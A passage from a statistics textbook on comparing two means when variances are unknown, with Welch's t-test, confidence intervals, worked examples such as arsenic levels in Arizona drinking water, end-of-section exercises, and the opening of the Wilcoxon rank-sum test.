Notice that the numerical results are essentially the same as the manual computations in Example 10-5. The P-value is reported as $P = 0.73$. The two-sided CI on $\mu_1 - \mu_2$ is also reported. We will give the computing formula for the CI in Section 10-2.3. Figure 10-2 shows the normal probability plot of the two samples of yield data and comparative box plots. The normal probability plots indicate that there is no problem with the normality assumption.

Figure 10-2 Normal probability plot and comparative box plot for the catalyst yield data in Example 10-5. (a) Normal probability plot, (b) Box plots.

Furthermore, both straight lines have similar slopes, providing some verification of the assumption of equal variances. The comparative box plots indicate that there is no obvious difference in the two catalysts, although catalyst 2 has slightly greater sample variability.

Case 2: $\sigma_1^2 \neq \sigma_2^2$

In some situations, we cannot reasonably assume that the unknown variances σ_1^2 and σ_2^2 are equal. There is not an exact t-statistic available for testing H_0: $\mu_1 - \mu_2 = \Delta_0$ in this case. However, an approximate result can be applied.

Case 2: Test Statistic for the Difference in Means, Variances Unknown and Not Assumed Equal

If H_0: $\mu_1 - \mu_2 = \Delta_0$ is true, the statistic

$$T_0^* = \frac{\overline{X}_1 - \overline{X}_2 - \Delta_0}{\sqrt{\dfrac{S_1^2}{n_1} + \dfrac{S_2^2}{n_2}}} \tag{10-15}$$

is distributed approximately as t with degrees of freedom given by

$$v = \frac{\left(\dfrac{s_1^2}{n_1} + \dfrac{s_2^2}{n_2}\right)^2}{\dfrac{(s_1^2/n_1)^2}{n_1 - 1} + \dfrac{(s_2^2/n_2)^2}{n_2 - 1}} \tag{10-16}$$

If v is not an integer, round down to the nearest integer.

Therefore, if $\sigma_1^2 \neq \sigma_2^2$, the hypotheses on differences in the means of two normal distributions are tested as in the equal variances case, except that T_0^* is used as the test statistic and $n_1 + n_2 - 2$ is replaced by v in determining the degrees of freedom for the test.

EXAMPLE 10-6 Arsenic in Drinking Water

Arsenic concentration in public drinking water supplies is a potential health risk. An article in the *Arizona Republic* (May 27, 2001) reported drinking water arsenic concentrations in parts per billion (ppb) for 10 metropolitan Phoenix communities and 10 communities in rural Arizona. The data follow:

Metro Phoenix ($\bar{x}_1 = 12.5$, $s_1 = 7.63$)	**Rural Arizona** ($\bar{x}_2 = 27.5$, $s_2 = 15.3$)
Phoenix, 3	Rimrock, 48
Chandler, 7	Goodyear, 44
Gilbert, 25	New River, 40
Glendale, 10	Apache Junction, 38
Mesa, 15	Buckeye, 33
Paradise Valley, 6	Nogales, 21
Peoria, 12	Black Canyon City, 20
Scottsdale, 25	Sedona, 12
Tempe, 15	Payson, 1
Sun City, 7	Casa Grande, 18

We wish to determine if there is any difference in mean arsenic concentrations between metropolitan Phoenix communities and communities in rural Arizona. Figure 10-3 shows a normal probability plot for the two samples of arsenic concentration. The assumption of normality appears quite reasonable, but since the slopes of the two straight lines are very different, it is unlikely that the population variances are the same.

Applying the seven-step procedure gives the following:

1. **Parameter of interest:** The parameters of interest are the mean arsenic concentrations for the two geographic regions, say, μ_1 and μ_2, and we are interested in determining whether $\mu_1 - \mu_2 = 0$.
2. **Non hypothesis:** H_0: $\mu_1 - \mu_2 = 0$, or H_0: $\mu_1 = \mu_2$
3. **Alternative hypothesis:** H_1: $\mu_1 \neq \mu_2$
4. **Test statistic:** The test statistic is

$$t_0^* = \frac{\bar{x}_1 - \bar{x}_2 - 0}{\sqrt{\dfrac{s_1^2}{n_1} + \dfrac{s_2^2}{n_2}}}$$

Figure 10-3 Normal probability plot of the arsenic concentration data from Example 10-6.

5. The degrees of freedom on t_0^* are found from Equation 10-16 as

$$v = \frac{\left(\dfrac{s_1^2}{n_1} + \dfrac{s_2^2}{n_2}\right)^2}{\dfrac{(s_1^2/n_1)^2}{n_1 - 1} + \dfrac{(s_2^2/n_2)^2}{n_2 - 1}}$$

$$= \frac{\left[\dfrac{(7.63)^2}{10} + \dfrac{(15.3)^2}{10}\right]^2}{\dfrac{[(7.63)^2/10]^2}{9} + \dfrac{[(15.3)^2/10]^2}{9}} = 13.2 \simeq 13$$

Therefore, using $\alpha = 0.05$ and a fixed-significance-level test, we would reject H_0: $\mu_1 = \mu_2$ if $t_0^* > t_{0.025,13} = 2.160$ or if $t_0^* < -t_{0.025,13} = -2.160$.

6. Computations: Using the sample data we find

$$t_0^* = \frac{\bar{x}_1 - \bar{x}_2}{\sqrt{\dfrac{s_1^2}{n_1} + \dfrac{s_2^2}{n_2}}} = \frac{12.5 - 27.5}{\sqrt{\dfrac{(7.63)^2}{10} + \dfrac{(15.3)^2}{10}}} = -2.77$$

7. Conclusions: Because $t_0^* = -2.77 < t_{0.025,13} = -2.160$, we reject the null hypothesis.

Practical Interpretation: There is strong evidence to conclude that mean arsenic concentration in the drinking water in rural Arizona is different from the mean arsenic concentration in metropolitan Phoenix drinking water. Furthermore, the mean arsenic concentration is higher in rural Arizona communities. The P-value for this test is approximately $P = 0.016$.

The Minitab output for this example follows:

Minitab Computations

Two-Sample T-Test and CI: PHX, RuralAZ

Two-sample T for PHX vs RuralAZ

	N	Mean	StDev	SE Mean
PHX	10	12.50	7.63	2.4
RuralAZ	10	27.5	15.3	4.9

Difference = mu PHX − mu RuralAZ
Estimate for difference: −15.00
95% CI for difference: (−26.71, −3.29)
T-Test of difference = 0 (vs not =): T-Value = −2.77 P-Value = 0.016 DF = 13

The numerical results from Minitab exactly match the calculations from Example 10-6. Note that a two-sided 95% CI on $\mu_1 - \mu_2$ is also reported. We will discuss its computation in Section 10-2.3; however, note that the interval does not include zero. Indeed, the upper 95% of confidence limit is -3.29 ppb, well below zero, and the mean observed difference is $\bar{x}_1 - \bar{x}_2 = 12.5 - 27.5 = -15$ ppb.

10-2.2 Type II Error and Choice of Sample Size

The operating characteristic curves in Appendix Charts VII*e*, VII*f*, VII*g*, and VII*h* are used to evaluate the type II error for the case where $\sigma_1^2 = \sigma_2^2 = \sigma^2$. Unfortunately, when $\sigma_1^2 \neq \sigma_2^2$, the distribution of T_0^* is unknown if the null hypothesis is false, and no operating characteristic curves are available for this case.

For the two-sided alternative H_1: $\mu_1 - \mu_2 = \Delta \neq \Delta_0$, when $\sigma_1^2 = \sigma_2^2 = \sigma^2$ and $n_1 = n_2 = n$, Charts VII*e* and VII*f* are used with

$$d = \frac{|\Delta - \Delta_0|}{2\sigma} \tag{10-17}$$

where Δ is the true difference in means that is of interest. To use these curves, they must be entered with the sample size $n^* = 2n - 1$. For the one-sided alternative hypothesis, we use Charts VII*g* and VII*h* and define d and Δ as in Equation 10-17. It is noted that the parameter d is a function of σ, which is unknown. As in the single-sample t-test, we may have to rely on a prior estimate of σ or use a subjective estimate. Alternatively, we could define the differences in the mean that we wish to detect relative to σ.

EXAMPLE 10-7 Yield from Catalyst Sample Size

Consider the catalyst experiment in Example 10-5. Suppose that, if catalyst 2 produces a mean yield that differs from the mean yield of catalyst 1 by 4.0%, we would like to reject the null hypothesis with probability at least 0.85. What sample size is required?

Using $s_p = 2.70$ as a rough estimate of the common standard deviation σ, we have $d = |\Delta|/2\sigma = |4.0|/[(2)(2.70)] = 0.74$. From Appendix Chart VII*e* with $d = 0.74$ and $\beta = 0.15$, we find $n^* = 20$, approximately. Therefore, since $n^* = 2n - 1$,

$$n = \frac{n^* + 1}{2} = \frac{20 + 1}{2} = 10.5 \simeq 11(\text{say})$$

and we would use sample sizes of $n_1 = n_2 = n = 11$.

Minitab will also perform power and sample size calculations for the two-sample t-test (equal variances). The output from Example 10-7 is as follows:

Minitab Computations

Power and Sample Size

2-Sample *t* Test
Testing mean 1 = mean 2 (versus not =)
Calculating power for mean 1 = mean 2 + difference
Alpha = 0.05 Sigma = 2.7

Difference	Sample Size	Target Power	Actual Power
4	10	0.8500	0.8793

The results agree fairly closely with the results obtained from the O.C. curve.

10-2.3 Confidence Interval on the Difference in Means, Variances Unknown

Case 1: $\sigma_1^2 = \sigma_2^2 = \sigma^2$

To develop the confidence interval for the difference in means $\mu_1 - \mu_2$ when both variances are equal, note that the distribution of the statistic

$$T = \frac{\bar{X}_1 - \bar{X}_2 - (\mu_1 - \mu_2)}{S_p\sqrt{\dfrac{1}{n_1} + \dfrac{1}{n_2}}} \tag{10-18}$$

is the t distribution with $n_1 + n_2 - 2$ degrees of freedom. Therefore $P(-t_{\alpha/2,n_1+n_2-2} \le T \le t_{\alpha/2,n_1+n_2-2}) = 1 - \alpha$. Now substituting Equation 10-18 for T and manipulating the quantities inside the probability statement will lead to the $100(1 - \alpha)\%$ confidence interval on $\mu_1 - \mu_2$.

Case 1: Confidence Interval on the Difference in Means, Variances Unknowns and Equal

If $\bar{x}_1, \bar{x}_2, s_1^2$, and s_2^2 are the sample means and variances of two random samples of sizes n_1 and n_2, respectively, from two independent normal populations with unknown but equal variances, then a **$100(1 - \alpha)\%$ confidence interval on the difference in means $\mu_1 - \mu_2$** is

$$\bar{x}_1 - \bar{x}_2 - t_{\alpha/2,n_1+n_2-2}\, s_p\sqrt{\frac{1}{n_1} + \frac{1}{n_2}}$$

$$\le \mu_1 - \mu_2 \le \bar{x}_1 - \bar{x}_2 + t_{\alpha/2,n_1+n_2-2}\, s_p\sqrt{\frac{1}{n_1} + \frac{1}{n_2}} \tag{10-19}$$

where $s_p = \sqrt{[(n_1 - 1)s_1^2 + (n_2 - 1)s_2^2]/(n_1 + n_2 - 2)}$ is the pooled estimate of the common population standard deviation, and $t_{\alpha/2,n_1+n_2-2}$ is the upper $\alpha/2$ percentage point of the t distribution with $n_1 + n_2 - 2$ degrees of freedom.

EXAMPLE 10-8 Cement Hydration

An article in the journal *Hazardous Waste and Hazardous Materials* (Vol. 6, 1989) reported the results of an analysis of the weight of calcium in standard cement and cement doped with lead. Reduced levels of calcium would indicate that the hydration mechanism in the cement is blocked and would allow water to attack various locations in the cement structure. Ten samples of standard cement had an average weight percent calcium of $\bar{x}_1 = 90.0$, with a sample standard deviation of $s_1 = 5.0$, while 15 samples of the lead-doped cement had an average weight percent calcium of $\bar{x}_2 = 87.0$, with a sample standard deviation of $s_2 = 4.0$.

We will assume that weight percent calcium is normally distributed and find a 95% confidence interval on the difference in means, $\mu_1 - \mu_2$, for the two types of cement. Furthermore, we will assume that both normal populations have the same standard deviation.

The pooled estimate of the common standard deviation is found using Equation 10-12 as follows:

$$s_p^2 = \frac{(n_1 - 1)s_1^2 + (n_2 - 1)s_2^2}{n_1 + n_2 - 2}$$

$$= \frac{9(5.0)^2 + 14(4.0)^2}{10 + 15 - 2}$$

$$= 19.52$$

Therefore, the pooled standard deviation estimate is $s_p = \sqrt{19.52} = 4.4$. The 95% confidence interval is found using Equation 10-19:

$$\bar{x}_1 - \bar{x}_2 - t_{0.025,23}\, s_p\sqrt{\frac{1}{n_1} + \frac{1}{n_2}} \le \mu_1 - \mu_2$$
$$\le \bar{x}_1 - \bar{x}_2 + t_{0.025,23}\, s_p\sqrt{\frac{1}{n_1} + \frac{1}{n_2}}$$

or upon substituting the sample values and using $t_{0.025,23} = 2.069$,

$$90.0 - 87.0 - 2.069(4.4)\sqrt{\frac{1}{10} + \frac{1}{15}} \le \mu_1 - \mu_2$$
$$\le 90.0 - 87.0 + 2.069(4.4)\sqrt{\frac{1}{10} + \frac{1}{15}}$$

which reduces to

$$-0.72 \le \mu_1 - \mu_2 \le 6.72$$

Practical Interpretation: Notice that the 95% confidence interval includes zero; therefore, at this level of confidence we cannot conclude that there is a difference in the means. Put another way, there is no evidence that doping the cement with lead affected the mean weight percent of calcium; therefore, we cannot claim that the presence of lead affects this aspect of the hydration mechanism at the 95% level of confidence.

Case 2: $\sigma_1^2 \neq \sigma_2^2$

In many situations it is not reasonable to assume that $\sigma_1^2 = \sigma_2^2$. When this assumption is unwarranted, we may still find a $100(1 - \alpha)\%$ confidence interval on $\mu_1 - \mu_2$ using the fact that $T^* = [\bar{X}_1 - \bar{X}_2 - (\mu_1 - \mu_2)]/\sqrt{S_1^2/n_1 + S_2^2/n_2}$ is distributed approximately as t with degrees of freedom v given by Equation 10-16. The CI expression follows.

Case 2: Approximate Confidence Interval on the Difference in Means, Variances Unknown Are Not Assumed Equal

If $\bar{x}_1$, $\bar{x}_2$, s_1^2, and s_2^2 are the means and variances of two random samples of sizes n_1 and n_2, respectively, from two independent normal populations with unknown and unequal variances, an approximate $100(1 - \alpha)\%$ confidence interval on the difference in means $\mu_1 - \mu_2$ is

$$\bar{x}_1 - \bar{x}_2 - t_{\alpha/2,v}\sqrt{\frac{s_1^2}{n_1} + \frac{s_2^2}{n_2}} \le \mu_1 - \mu_2 \le \bar{x}_1 - \bar{x}_2 + t_{\alpha/2,v}\sqrt{\frac{s_1^2}{n_1} + \frac{s_2^2}{n_2}} \qquad (10\text{-}20)$$

where v is given by Equation 10-16 and $t_{\alpha/2,v}$ is the upper $\alpha/2$ percentage point of the t distribution with v degrees of freedom.

EXERCISES FOR SECTION 10-2

10-10. Consider the computer output below.

Two-Sample T-Test and CI

Sample	N	Mean	StDev	SE Mean
1	12	10.94	1.26	0.36
2	16	12.15	1.99	0.50

```
Difference = mu (1) − mu (2)
Estimate for difference: −1.210
95% CI for difference: (−2.560, 0.140)
T-Test of difference = 0 (vs not =) : T-Value
= ? P-Value = ? DF = ?
Both use Pooled StDev = ?
```

(a) Fill in the missing values. Is this a one-sided or a two-sided test? Use lower and upper bounds for the P-value.

(b) What are your conclusions if $\alpha = 0.05$? What if $\alpha = 0.01$?

(c) This test was done assuming that the two population variances were equal. Does this seem reasonable?

(d) Suppose that the hypothesis had been H_0: $\mu_1 = \mu_2$ versus H_0: $\mu_1 < \mu_2$. What would your conclusions be if $\alpha = 0.05$?

10-11. Consider the computer output below.

Two-Sample T-Test and CI

Sample	N	Mean	StDev	SE Mean
1	15	54.73	2.13	0.55
2	20	58.64	5.28	1.2

```
Difference = mu (1) − mu (2)
Estimate for difference: −3.91
95% upper bound for difference: ?
T-Test of difference = 0(vs <): T-Value =
−3.00 P-Value = ? DF = ?
```

(a) Fill in the missing values. Is this a one-sided or a two-sided test? Use lower and upper bounds for the P-value.
(b) What are your conclusions if $\alpha = 0.05$? What if $\alpha = 0.01$?
(c) This test was done assuming that the two population variances were different. Does this seem reasonable?
(d) Suppose that the hypotheses had been H_0: $\mu_1 = \mu_2$ versus H_0: $\mu_1 \neq \mu_2$. What would your conclusions be if $\alpha = 0.05$?

10-12. Consider the hypothesis test $H_0 : \mu_1 = \mu_2$ against $H_1 : \mu_1 \neq \mu_2$. Suppose that sample sizes are $n_1 = 15$ and $n_2 = 15$, that $\bar{x}_1 = 4.7$ and $\bar{x}_2 = 7.8$, and that $s_1^2 = 4$ and $s_2^2 = 6.25$. Assume that $\sigma_1^2 = \sigma_2^2$ and that the data are drawn from normal distributions. Use $\alpha = 0.05$.
(a) Test the hypothesis and find the P-value.
(b) Explain how the test could be conducted with a confidence interval.
(c) What is the power of the test in part (a) for a true difference in means of 3?
(d) Assuming equal sample sizes, what sample size should be used to obtain $\beta = 0.05$ if the true difference in means is -2? Assume that $\alpha = 0.05$.

10-13. Consider the hypothesis test $H_0 : \mu_1 = \mu_2$ against $H_1 : \mu_1 < \mu_2$. Suppose that sample sizes $n_1 = 15$ and $n_2 = 15$, that $\bar{x}_1 = 6.2$ and $\bar{x}_2 = 7.8$, and that $s_1^2 = 4$ and $s_2^2 = 6.25$. Assume that $\sigma_1^2 = \sigma_2^2$ and that the data are drawn from normal distributions. Use $\alpha = 0.05$.
(a) Test the hypothesis and find the P-value.
(b) Explain how the test could be conducted with a confidence interval.
(c) What is the power of the test in part (a) if μ_1 is 3 units less than μ_2?
(d) Assuming equal sample sizes, what sample size should be used to obtain $\beta = 0.05$ if μ_1 is 2.5 units less than μ_2? Assume that $\alpha = 0.05$.

10-14. Consider the hypothesis test $H_0 : \mu_1 = \mu_2$ against $H_1 : \mu_1 > \mu_2$. Suppose that sample sizes $n_1 = 10$ and $n_2 = 10$, that $\bar{x}_1 = 7.8$ and $\bar{x}_2 = 5.6$, and that $s_1^2 = 4$ and $s_2^2 = 9$. Assume that $\sigma_1^2 = \sigma_2^2$ and that the data are drawn from normal distributions. Use $\alpha = 0.05$.
(a) Test the hypothesis and find the P-value.
(b) Explain how the test could be conducted with a confidence interval.
(c) What is the power of the test in part (a) if μ_1 is 3 units greater than μ_2?
(d) Assuming equal sample sizes, what sample size should be used to obtain $\beta = 0.05$ if μ_1 is 3 units greater than μ_2? Assume that $\alpha = 0.05$.

10-15. The diameter of steel rods manufactured on two different extrusion machines is being investigated. Two random samples of sizes $n_1 = 15$ and $n_2 = 17$ are selected, and the sample means and sample variances are $\bar{x}_1 = 8.73$, $s_1^2 = 0.35$, $\bar{x}_2 = 8.68$, and $s_2^2 = 0.40$, respectively. Assume that $\sigma_1^2 = \sigma_2^2$ and that the data are drawn from a normal distribution.
(a) Is there evidence to support the claim that the two machines produce rods with different mean diameters? Use $\alpha = 0.05$ in arriving at this conclusion. Find the P-value.
(b) Construct a 95% confidence interval for the difference in mean rod diameter. Interpret this interval.

10-16. An article in *Fire Technology* investigated two different foam expanding agents that can be used in the nozzles of fire-fighting spray equipment. A random sample of five observations with an aqueous film-forming foam (AFFF) had a sample mean of 4.7 and a standard deviation of 0.6. A random sample of five observations with alcohol-type concentrates (ATC) had a sample mean of 6.9 and a standard deviation 0.8.
(a) Can you draw any conclusions about differences in mean foam expansion? Assume that both populations are well represented by normal distributions with the same standard deviations.
(b) Find a 95% confidence interval on the difference in mean foam expansion of these two agents.

10-17. Two catalysts may be used in a batch chemical process. Twelve batches were prepared using catalyst 1, resulting in an average yield of 86 and a sample standard deviation of 3. Fifteen batches were prepared using catalyst 2, and they resulted in an average yield of 89 with a standard deviation of 2. Assume that yield measurements are approximately normally distributed with the same standard deviation.
(a) Is there evidence to support a claim that catalyst 2 produces a higher mean yield than catalyst 1? Use $\alpha = 0.01$.
(b) Find a 99% confidence interval on the difference in mean yields that can be used to test the claim in part (a).

10-18. The deflection temperature under load for two different types of plastic pipe is being investigated. Two random samples of 15 pipe specimens are tested, and the deflection temperatures observed are as follows (in °F):

Type 1: 206, 188, 205, 187, 194, 193, 207, 185, 189, 213, 192, 210, 194, 178, 205

Type 2: 177, 197, 206, 201, 180, 176, 185, 200, 197, 192, 198, 188, 189, 203, 192

(a) Construct box plots and normal probability plots for the two samples. Do these plots provide support of the assumptions of normality and equal variances? Write a practical interpretation for these plots.
(b) Do the data support the claim that the deflection temperature under load for type 1 pipe exceeds that of type 2? In reaching your conclusions, use $\alpha = 0.05$. Calculate a P-value.
(c) If the mean deflection temperature for type 1 pipe exceeds that of type 2 by as much as 5°F, it is important to detect this difference with probability at least 0.90. Is the choice of $n_1 = n_2 = 15$ adequate? Use $\alpha = 0.05$.

10-19. In semiconductor manufacturing, wet chemical etching is often used to remove silicon from the backs of wafers prior to metallization. The etch rate is an important characteristic in this process and known to follow a normal distribution. Two different etching solutions have been compared, using two

random samples of 10 wafers for each solution. The observed etch rates are as follows (in mils per minute):

Solution 1		Solution 2	
9.9	10.6	10.2	10.0
9.4	10.3	10.6	10.2
9.3	10.0	10.7	10.7
9.6	10.3	10.4	10.4
10.2	10.1	10.5	10.3

(a) Construct normal probability plots for the two samples. Do these plots provide support for the assumptions of normality and equal variances? Write a practical interpretation for these plots.
(b) Do the data support the claim that the mean etch rate is the same for both solutions? In reaching your conclusions, use $\alpha = 0.05$ and assume that both population variances are equal. Calculate a P-value.
(c) Find a 95% confidence interval on the difference in mean etch rates.

10-20. Two suppliers manufacture a plastic gear used in a laser printer. The impact strength of these gears measured in foot-pounds is an important characteristic. A random sample of 10 gears from supplier 1 results in $\bar{x}_1 = 290$ and $s_1 = 12$, while another random sample of 16 gears from the second supplier results in $\bar{x}_2 = 321$ and $s_2 = 22$.
(a) Is there evidence to support the claim that supplier 2 provides gears with higher mean impact strength? Use $\alpha = 0.05$, and assume that both populations are normally distributed but the variances are not equal. What is the P-value for this test?
(b) Do the data support the claim that the mean impact strength of gears from supplier 2 is at least 25 foot-pounds higher than that of supplier 1? Make the same assumptions as in part (a).
(c) Construct a confidence interval estimate for the difference in mean impact strength, and explain how this interval could be used to answer the question posed regarding supplier-to-supplier differences.

10-21. The melting points of two alloys used in formulating solder were investigated by melting 21 samples of each material. The sample mean and standard deviation for alloy 1 was $\bar{x}_1 = 420°\text{F}$ and $s_1 = 4°\text{F}$, while for alloy 2 they were $\bar{x}_2 = 426°\text{F}$ and $s_2 = 3°\text{F}$.
(a) Do the sample data support the claim that both alloys have the same melting point? Use $\alpha = 0.05$ and assume that both populations are normally distributed and have the same standard deviation. Find the P-value for the test.
(b) Suppose that the true mean difference in melting points is 3°F. How large a sample would be required to detect this difference using an $\alpha = 0.05$ level test with probability at least 0.9? Use $\sigma_1 = \sigma_2 = 4$ as an initial estimate of the common standard deviation.

10-22. A photoconductor film is manufactured at a nominal thickness of 25 mils. The product engineer wishes to increase the mean speed of the film, and believes that this can be achieved by reducing the thickness of the film to 20 mils. Eight samples of each film thickness are manufactured in a pilot production process, and the film speed (in microjoules per square inch) is measured. For the 25-mil film the sample data result is $\bar{x}_1 = 1.15$ and $s_1 = 0.11$, while for the 20-mil film the data yield $\bar{x}_2 = 1.06$ and $s_2 = 0.09$. Note that an increase in film speed would lower the value of the observation in microjoules per square inch.
(a) Do the data support the claim that reducing the film thickness increases the mean speed of the film? Use $\alpha = 0.10$ and assume that the two population variances are equal and the underlying population of film speed is normally distributed. What is the P-value for this test?
(b) Find a 95% confidence interval on the difference in the two means that can be used to test the claim in part (a).

10-23. Two companies manufacture a rubber material intended for use in an automotive application. The part will be subjected to abrasive wear in the field application, so we decide to compare the material produced by each company in a test. Twenty-five samples of material from each company are tested in an abrasion test, and the amount of wear after 1000 cycles is observed. For company 1, the sample mean and standard deviation of wear are $\bar{x}_1 = 20$ milligrams/1000 cycles and $s_1 = 2$ milligrams/1000 cycles, while for company 2 we obtain $\bar{x}_2 = 15$ milligrams/1000 cycles and $s_2 = 8$ milligrams/1000 cycles.
(a) Do the data support the claim that the two companies produce material with different mean wear? Use $\alpha = 0.05$, and assume each population is normally distributed but that their variances are not equal. What is the P-value for this test?
(b) Do the data support a claim that the material from company 1 has higher mean wear than the material from company 2? Use the same assumptions as in part (a).
(c) Construct confidence intervals that will address the questions in parts (a) and (b) above.

10-24. The thickness of a plastic film (in mils) on a substrate material is thought to be influenced by the temperature at which the coating is applied. A completely randomized experiment is carried out. Eleven substrates are coated at 125°F, resulting in a sample mean coating thickness of $\bar{x}_1 = 103.5$ and a sample standard deviation of $s_1 = 10.2$. Another 13 substrates are coated at 150°F, for which $\bar{x}_2 = 99.7$ and $s_2 = 20.1$ are observed. It was originally suspected that raising the process temperature would reduce mean coating thickness.
(a) Do the data support this claim? Use $\alpha = 0.01$ and assume that the two population standard deviations are not equal. Calculate an approximate P-value for this test.
(b) How could you have answered the question posed regarding the effect of temperature on coating thickness by using a confidence interval? Explain your answer.

10-25. An article in *Electronic Components and Technology Conference* (2001, Vol. 52, pp. 1167–1171) compared single versus dual spindle saw processes for copper metallized wafers. A total of 15 devices of each type were measured for the width of the backside chipouts, $\bar{x}_{single} = 66.385$, $s_{single} = 7.895$ and $\bar{x}_{double} = 45.278$, $s_{double} = 8.612$.

(a) Do the sample data support the claim that both processes have the same chip outputs? Use $\alpha = 0.05$ and assume that both populations are normally distributed and have the same variance. Find the *P*-value for the test.

(b) Construct a 95% two-sided confidence interval on the mean difference in spindle saw process. Compare this interval to the results in part (a).

(c) If the β-error of the test when the true difference in chip outputs is 15 should not exceed 0.1, what sample sizes must be used? Use $\alpha = 0.05$.

10-26. An article in *IEEE International Symposium on Electromagnetic Compatibility* (2002, Vol. 2, pp. 667–670) quantified the absorption of electromagnetic energy and the resulting thermal effect from cellular phones. The experimental results were obtained from in vivo experiments conducted on rats. The arterial blood pressure values (mmHg) for the control group (8 rats) during the experiment are $\bar{x}_1 = 90$, $s_1 = 5$ and for the test group (9 rats) are $\bar{x}_2 = 115$, $s_2 = 10$.

(a) Is there evidence to support the claim that the test group has higher mean blood pressure? Use $\alpha = 0.05$, and assume that both populations are normally distributed but the variances are not equal. What is the *P*-value for this test?

(b) Calculate a confidence interval to answer the question in part (a).

(c) Do the data support the claim that the mean blood pressure from the test group is at least 15 mmHg higher than the control group? Make the same assumptions as in part (a).

(d) Explain how the question in part (c) could be answered with a confidence interval.

10-27. An article in *Radio Engineering and Electronic Physics* (1984, Vol. 29, No. 3, pp. 63–66) investigated the behavior of a stochastic generator in the presence of external noise. The number of periods was measured in a sample of 100 trains for each of two different levels of noise voltage, 100 and 150 mV. For 100 mV, the mean number of periods in a train was 7.9 with $s = 2.6$. For 150 mV, the mean was 6.9 with $s = 2.4$.

(a) It was originally suspected that raising noise voltage would reduce mean number of periods. Do the data support this claim? Use $\alpha = 0.01$ and assume that each population is normally distributed and the two population variances are equal. What is the *P*-value for this test?

(b) Calculate a confidence interval to answer the question in part (a).

10-28. An article in *Technometrics* (1999, Vol. 41, pp. 202–211) studied the capability of a gauge by measuring the weights of two sheets of paper. The data are shown below.

Paper	Observations				
1	3.481	3.448	3.485	3.475	3.472
	3.477	3.472	3.464	3.472	3.470
	3.470	3.470	3.477	3.473	3.474
2	3.258	3.254	3.256	3.249	3.241
	3.254	3.247	3.257	3.239	3.250
	3.258	3.239	3.245	3.240	3.254

(a) Check the assumption that the data from each sheet are from normal distributions.

(b) Test the hypothesis that the mean weight of the two sheets are equal against the alternative that they are not (and assume equal variances). Use $\alpha = 0.05$ and assume equal variances. Find the *P*-value.

(c) Repeat the previous test with $\alpha = 0.10$.

(d) Compare your answers for parts (b) and (c) and explain why they are the same or different.

(e) Explain how the questions in parts (b) and (c) could be answered with confidence intervals.

10-29. The overall distance traveled by a golf ball is tested by hitting the ball with Iron Byron, a mechanical golfer with a swing that is said to emulate the legendary champion, Byron Nelson. Ten randomly selected balls of two different brands are tested and the overall distance measured. The data follow:

Brand 1: 275, 286, 287, 271, 283, 271, 279, 275, 263, 267

Brand 2: 258, 244, 260, 265, 273, 281, 271, 270, 263, 268

(a) Is there evidence that overall distance is approximately normally distributed? Is an assumption of equal variances justified?

(b) Test the hypothesis that both brands of ball have equal mean overall distance. Use $\alpha = 0.05$. What is the *P*-value?

(c) Construct a 95% two-sided CI on the mean difference in overall distance between the two brands of golf balls.

(d) What is the power of the statistical test in part (b) to detect a true difference in mean overall distance of 5 yards?

(e) What sample size would be required to detect a true difference in mean overall distance of 3 yards with power of approximately 0.75?

10-30. The "spring-like effect" in a golf club could be determined by measuring the coefficient of restitution (the ratio of the outbound velocity to the inbound velocity of a golf ball fired at the clubhead). Twelve randomly selected drivers produced by two clubmakers are tested and the coefficient of restitution measured. The data follow:

Club 1: 0.8406, 0.8104, 0.8234, 0.8198, 0.8235, 0.8562, 0.8123, 0.7976, 0.8184, 0.8265, 0.7773, 0.7871

Club 2: 0.8305, 0.7905, 0.8352, 0.8380, 0.8145, 0.8465, 0.8244, 0.8014, 0.8309, 0.8405, 0.8256, 0.8476

(a) Is there evidence that coefficient of restitution is approximately normally distributed? Is an assumption of equal variances justified?

(b) Test the hypothesis that both brands of clubs have equal mean coefficient of restitution. Use $\alpha = 0.05$. What is the P-value of the test?

(c) Construct a 95% two-sided CI on the mean difference in coefficient of restitution between the two brands of golf clubs.

(d) What is the power of the statistical test in part (b) to detect a true difference in mean coefficient of restitution of 0.2?

(e) What sample size would be required to detect a true difference in mean coefficient of restitution of 0.1 with power of approximately 0.8?

10-3 A NONPARAMETRIC TEST FOR THE DIFFERENCE IN TWO MEANS

Suppose that we have two independent continuous populations X_1 and X_2 with means μ_1 and μ_2, but we are unwilling to assume that they are (approximately) normal. However, we can assume that the distributions of X_1 and X_2 are continuous and have the same shape and spread, and differ only (possibly) in their locations. The **Wilcoxon rank-sum test** can be used to test the hypothesis H_0: $\mu_1 = \mu_2$. This procedure is sometimes called the Mann-Whitney test, although the Mann-Whitney test statistic is usually expressed in a different form.

10-3.1 Description of the Wilcoxon Rank-Sum Test

Let $X_{11}, X_{12}, \ldots, X_{1n_1}$ and $X_{21}, X_{22}, \ldots, X_{2n_2}$ be two independent random samples of sizes $n_1 \leq n_2$ from the continuous populations X_1 and X_2 described earlier. We wish to test the hypotheses

$$H_0: \mu_1 = \mu_2$$
$$H_1: \mu_1 \neq \mu_2$$

The test procedure is as follows. Arrange all $n_1 + n_2$ observations in ascending order of magnitude and assign ranks to them. If two or more observations are tied (identical), use the mean of the ranks that would have been assigned if the observations differed.

Let W_1 be the sum of the ranks in the smaller sample (1), and define W_2 to be the sum of the ranks in the other sample. Then,

$$W_2 = \frac{(n_1 + n_2)(n_1 + n_2 + 1)}{2} - W_1 \tag{10-21}$$

Now if the sample means do not differ, we will expect the sum of the ranks to be nearly equal for both samples after adjusting for the difference in sample size. Consequently, if the sums of the ranks differ greatly, we will conclude that the means are not equal.

Appendix Table X contains the critical value of the rank sums for $\alpha = 0.05$ and $\alpha = 0.01$ assuming the two-sided alternative above. Refer to Appendix Table X with the appropriate sample sizes n_1 and n_2, and the critical value w_α can be obtained. The null H_0: $\mu_1 = \mu_2$ is rejected in favor of H_1: $\mu_1 \neq \mu_2$ if either of the observed values w_1 or w_2 is less than or equal to the tabulated critical value w_α.

The procedure can also be used for one-sided alternatives. If the alternative is H_1: $\mu_1 < \mu_2$, reject H_0 if $w_1 \leq w_\alpha$; for H_1: $\mu_1 > \mu_2$, reject H_0 if $w_2 \leq w_\alpha$. For these one-sided tests, the tabulated critical values w_α correspond to levels of significance of $\alpha = 0.025$ and $\alpha = 0.005$.

EXAMPLE 10-9 Axial Stress

The mean axial stress in tensile members used in an aircraft structure is being studied. Two alloys are being investigated. Alloy 1 is a traditional material, and alloy 2 is a new aluminum-lithium alloy that is much lighter than the standard material. Ten specimens of each alloy type are tested, and the axial stress is measured. The sample data are assembled in Table 10-2. Using $\alpha = 0.05$, we wish to test the hypothesis that the means of the two stress distributions are identical.

